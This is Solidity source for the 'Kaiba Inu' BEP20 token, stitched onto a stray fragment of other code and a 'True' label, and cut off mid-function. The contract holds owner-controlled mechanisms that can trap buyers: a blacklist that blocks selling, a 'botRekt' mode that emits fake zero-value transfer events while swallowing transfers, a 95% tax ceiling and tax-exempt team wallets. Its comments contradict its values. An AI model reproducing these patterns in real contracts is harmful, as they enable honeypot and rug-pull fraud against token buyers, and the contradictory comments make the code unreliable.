break;
}
}
}
return availableReward;
}
}
|
True
|
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102
] |
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IPancakeERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IPancakeRouter01 {
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IPancakeRouter02 is IPancakeRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
//KaibaInu Contract ////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
contract KaibaInu is IBEP20, Ownable
{
using Address for address;
using EnumerableSet for EnumerableSet.AddressSet;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _sellLock;
mapping (address => bool) public wListed;
EnumerableSet.AddressSet private _excluded;
EnumerableSet.AddressSet private _whiteList;
EnumerableSet.AddressSet private _excludedFromSellLock;
EnumerableSet.AddressSet private _excludedFromRaffle;
mapping (address => bool) public _blacklist;
bool isBlacklist = true;
//Token Info
string private constant _name = 'Kaiba Inu';
string private constant _symbol = 'KAIBA';
uint8 private constant _decimals = 9;
uint256 public constant InitialSupply= 100 * 10**6 * 10**_decimals;//equals 100.000.000 token
uint256 swapLimit = 1 * 10**5 * 10**_decimals;
bool isSwapPegged = true;
//Divider for the buyLimit based on circulating Supply (1%)
uint16 public constant BuyLimitDivider=100;
//Divider for the MaxBalance based on circulating Supply (1.5%)
uint8 public constant BalanceLimitDivider=65;
//Divider for the Whitelist MaxBalance based on initial Supply(1.5%)
uint16 public constant WhiteListBalanceLimitDivider=65;
//Divider for sellLimit based on circulating Supply (1%)
uint16 public constant SellLimitDivider=100;
//Sellers get locked for MaxSellLockTime so they can't dump repeatedly
uint16 public constant MaxSellLockTime= 1 seconds;
// Team wallets
address public constant TeamWallet=0xDdeb06c15A7bd863bc38c9c071E0D13355476c48;
address public constant SecondTeamWallet=0x9e25C82A0d297D009A28f0d9418b0F28e14920be;
//TODO: Change to Mainnet
//TestNet
//address private constant PancakeRouter=0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3;
//MainNet
// 0x10ED43C718714eb63d5aA57B78B54704E256024E
address private constant PancakeRouter=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
//variables that track balanceLimit and sellLimit,
//can be updated based on circulating supply and Sell- and BalanceLimitDividers
uint256 private _circulatingSupply =InitialSupply;
uint256 public balanceLimit = _circulatingSupply;
uint256 public sellLimit = _circulatingSupply;
uint256 public buyLimit = _circulatingSupply;
address[] public triedToDump;
//Limits max tax, only gets applied for tax changes, doesn't affect inital Tax
uint8 public constant MaxTax=95;
//Tracks the current Taxes, different Taxes can be applied for buy/sell/transfer
uint8 private _buyTax;
uint8 private _sellTax;
uint8 private _transferTax;
bool botRekt = false;
uint8 private _burnTax;
uint8 private _liquidityTax;
uint8 private _marketingTax;
bool isTokenSwapManual = true;
address private _pancakePairAddress;
IPancakeRouter02 private _pancakeRouter;
//modifier for functions only the team can call
modifier onlyTeam() {
require(_isTeam(msg.sender), "Caller not in Team");
_;
}
//Checks if address is in Team, is needed to give Team access even if contract is renounced
//Team doesn't have access to critical Functions that could turn this into a Rugpull(Exept liquidity unlocks)
function _isTeam(address addr) private view returns (bool){
return addr==owner()||addr==TeamWallet||addr==SecondTeamWallet;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
//Constructor///////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
constructor () {
//contract creator gets 90% of the token to create LP-Pair
uint256 deployerBalance=_circulatingSupply*9/10;
_balances[msg.sender] = deployerBalance;
emit Transfer(address(0), msg.sender, deployerBalance);
//contract gets 10% of the token to generate LP token and Marketing Budget fase
//contract will sell token over the first 200 sells to generate maximum LP and BNB
uint256 injectBalance=_circulatingSupply-deployerBalance;
_balances[address(this)]=injectBalance;
emit Transfer(address(0), address(this),injectBalance);
// Pancake Router
_pancakeRouter = IPancakeRouter02(PancakeRouter);
//Creates a Pancake Pair
_pancakePairAddress = IPancakeFactory(_pancakeRouter.factory()).createPair(address(this), _pancakeRouter.WETH());
//Sets Buy/Sell limits
balanceLimit=InitialSupply/BalanceLimitDivider;
sellLimit=InitialSupply/SellLimitDivider;
buyLimit=InitialSupply/BuyLimitDivider;
//Sets sellLockTime to be 2 seconds by default
sellLockTime=2 seconds;
//Set Starting Tax to very high percentage(36%) to achieve maximum burn in the beginning
//as in the beginning there is the highest token volume
//any change in tax rate needs to be below maxTax(20%)
_buyTax=6;
_sellTax=6;//Sell Tax is lower, as otherwise slippage would be too high to sell
_transferTax=6;
//a small percentage gets added to the Contract token as 10% of token are already injected to
//be converted to LP and MarketingBNB
_liquidityTax=65;
_marketingTax=35;
//Team wallet and deployer are excluded from Taxes
_excluded.add(TeamWallet);
_excluded.add(SecondTeamWallet);
_excluded.add(msg.sender);
//excludes Pancake Router, pair, contract and burn address from staking
_excludedFromRaffle.add(address(_pancakeRouter));
_excludedFromRaffle.add(_pancakePairAddress);
_excludedFromRaffle.add(address(this));
_excludedFromRaffle.add(0x000000000000000000000000000000000000dEaD);
_excludedFromSellLock.add(address(_pancakeRouter));
_excludedFromSellLock.add(_pancakePairAddress);
_excludedFromSellLock.add(address(this));
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
//Transfer functionality////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
//transfer function, every transfer runs through this function
function _transfer(address sender, address recipient, uint256 amount) private{
require(sender != address(0), "Transfer from zero");
require(recipient != address(0), "Transfer to zero");
//Manually Excluded adresses are transfering tax and lock free
bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient));
//Transactions from and to the contract are always tax and lock free
bool isContractTransfer=(sender==address(this) || recipient==address(this));
//transfers between PancakeRouter and PancakePair are tax and lock free
address pancakeRouter=address(_pancakeRouter);
bool isLiquidityTransfer = ((sender == _pancakePairAddress && recipient == pancakeRouter)
|| (recipient == _pancakePairAddress && sender == pancakeRouter));
//differentiate between buy/sell/transfer to apply different taxes/restrictions
bool isBuy=sender==_pancakePairAddress|| sender == pancakeRouter;
bool isSell=recipient==_pancakePairAddress|| recipient == pancakeRouter;
//Pick transfer
if(isContractTransfer || isLiquidityTransfer || isExcluded){
_feelessTransfer(sender, recipient, amount);
}
else{
//once trading is enabled, it can't be turned off again
if (!tradingEnabled) {
if (sender != owner() && recipient != owner()) {
if (!wListed[sender] && !wListed[recipient]) {
if (botRekt) {
emit Transfer(sender,recipient,0);
return;
}
else {
require(tradingEnabled,"trading not yet enabled");
}
}
}
}
if(whiteListTrading){
_whiteListTransfer(sender,recipient,amount,isBuy,isSell);
}
else{
_taxedTransfer(sender,recipient,amount,isBuy,isSell);
}
}
}
//if whitelist is active, all taxed transfers run through this
function _whiteListTransfer(address sender, address recipient,uint256 amount,bool isBuy,bool isSell) private{
//only apply whitelist restrictions during buys and transfers
if(!isSell){
//the recipient needs to be on Whitelist. Works for both buys and transfers.
//transfers to other whitelisted addresses are allowed.
require(_whiteList.contains(recipient),"recipient not on whitelist");
//Limit is 1/500 of initialSupply during whitelist, to allow for a large whitelist without causing a massive
//price impact of the whitelist
require((_balances[recipient]+amount<=InitialSupply/WhiteListBalanceLimitDivider),"amount exceeds whitelist max");
}
_taxedTransfer(sender,recipient,amount,isBuy,isSell);
}
//applies taxes, checks for limits, locks generates autoLP and stakingBNB, and autostakes
function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{
uint256 recipientBalance = _balances[recipient];
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "Transfer exceeds balance");
swapLimit = sellLimit/2;
uint8 tax;
if(isSell){
if(isBlacklist) {
require(!_blacklist[sender]);
}
if(!_excludedFromSellLock.contains(sender)){
//If seller sold less than sellLockTime(2h) ago, sell is declined, can be disabled by Team
require(_sellLock[sender]<=block.timestamp||sellLockDisabled,"Seller in sellLock");
//Sets the time sellers get locked(2 hours by default)
_sellLock[sender]=block.timestamp+sellLockTime;
}
//Sells can't exceed the sell limit(50.000 Tokens at start, can be updated to circulating supply)
if(amount>sellLimit) {
triedToDump.push(sender);
}
require(amount<=sellLimit,"Dump protection");
tax=_sellTax;
} else if(isBuy){
//Checks If the recipient balance(excluding Taxes) would exceed Balance Limit
require(recipientBalance+amount<=balanceLimit,"whale protection");
require(amount<=buyLimit, "whale protection");
tax=_buyTax;
} else {//Transfer
//Checks If the recipient balance(excluding Taxes) would exceed Balance Limit
require(recipientBalance+amount<=balanceLimit,"whale protection");
//Transfers are disabled in sell lock, this doesn't stop someone from transfering before
//selling, but there is no satisfying solution for that, and you would need to pax additional tax
if(!_excludedFromSellLock.contains(sender))
require(_sellLock[sender]<=block.timestamp||sellLockDisabled,"Sender in Lock");
tax=_transferTax;
}
//Swapping AutoLP and MarketingBNB is only possible if sender is not pancake pair,
//if its not manually disabled, if its not already swapping and if its a Sell to avoid
// people from causing a large price impact from repeatedly transfering when theres a large backlog of Tokens
if((sender!=_pancakePairAddress)&&(!manualConversion)&&(!_isSwappingContractModifier))
_swapContractToken(amount);
//staking and liquidity Tax get treated the same, only during conversion they get split
uint256 contractToken=_calculateFee(amount, tax, _marketingTax+_liquidityTax);
//Subtract the Taxed Tokens from the amount
uint256 taxedAmount=amount-(contractToken);
//Removes token and handles staking
_removeToken(sender,amount);
//Adds the taxed tokens to the contract wallet
_balances[address(this)] += contractToken;
//Adds token and handles staking
_addToken(recipient, taxedAmount);
emit Transfer(sender,recipient,taxedAmount);
}
//Feeless transfer only transfers and autostakes
function _feelessTransfer(address sender, address recipient, uint256 amount) private{
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "Transfer exceeds balance");
//Removes token and handles staking
_removeToken(sender,amount);
//Adds token and handles staking
_addToken(recipient, amount);
emit Transfer(sender,recipient,amount);
}
//Calculates the token that should be taxed
function _calculateFee(uint256 amount, uint8 tax, uint8 taxPercent) private pure returns (uint256) {
return (amount*tax*taxPercent) / 10000;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
//BNB Autostake/////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
//Autostake uses the balances of each holder to redistribute auto generated BNB.
//Each transaction _addToken and _removeToken gets called for the transaction amount
//WithdrawBNB can be used for any holder to withdraw BNB at any time, like true Staking,
//so unlike MRAT clones you can leave and forget your Token and claim after a while
//adds Token to balances, adds new BNB to the toBePaid mapping and resets staking
function _addToken(address addr, uint256 amount) private {
//the amount of token after transfer
uint256 newAmount=_balances[addr]+amount;
_balances[addr]=newAmount;
}
//removes Token, adds BNB to the toBePaid mapping and resets staking
function _removeToken(address addr, uint256 amount) private {
//the amount of token after transfer
uint256 newAmount=_balances[addr]-amount;
_balances[addr]=newAmount;
}
//lock for the withdraw
bool private _isTokenSwaping;
//the total reward distributed through staking, for tracking purposes
uint256 public totalTokenSwapGenerated;
//the total payout through staking, for tracking purposes
uint256 public totalPayouts;
//marketing share of the TokenSwap tax
uint8 public marketingShare=100;
//balance that is claimable by the team
uint256 public marketingBalance;
//Mapping of shares that are reserved for payout
mapping(address => uint256) private toBePaid;
//Contract, pancake and burnAddress are excluded, other addresses like CEX
//can be manually excluded, excluded list is limited to 30 entries to avoid a
//out of gas exeption during sells
function isexcludedFromRaffle(address addr) public view returns (bool){
return _excludedFromRaffle.contains(addr);
}
//distributes bnb between marketing share and dividents
function _distributeFeesBNB(uint256 BNBamount) private {
// Deduct marketing Tax
uint256 marketingSplit = (BNBamount * marketingShare) / 100;
marketingBalance+=marketingSplit;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////
//Swap Contract Tokens//////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
//tracks auto generated BNB, useful for ticker etc
uint256 public totalLPBNB;
//Locks the swap if already swapping
bool private _isSwappingContractModifier;
modifier lockTheSwap {
_isSwappingContractModifier = true;
_;
_isSwappingContractModifier = false;
}
//swaps the token on the contract for Marketing BNB and LP Token.
//always swaps the sellLimit of token to avoid a large price impact
function _swapContractToken(uint256 totalMax) private lockTheSwap{
uint256 contractBalance=_balances[address(this)];
uint16 totalTax=_liquidityTax+_marketingTax;
uint256 tokenToSwap=swapLimit;
if(tokenToSwap > totalMax) {
if(isSwapPegged) {
tokenToSwap = totalMax;
}
}
//only swap if contractBalance is larger than tokenToSwap, and totalTax is unequal to 0
if(contractBalance<tokenToSwap||totalTax==0){
return;
}
//splits the token in TokenForLiquidity and tokenForMarketing
uint256 tokenForLiquidity=(tokenToSwap*_liquidityTax)/totalTax;
uint256 tokenForMarketing= tokenToSwap-tokenForLiquidity;
//splits tokenForLiquidity in 2 halves
uint256 liqToken=tokenForLiquidity/2;
uint256 liqBNBToken=tokenForLiquidity-liqToken;
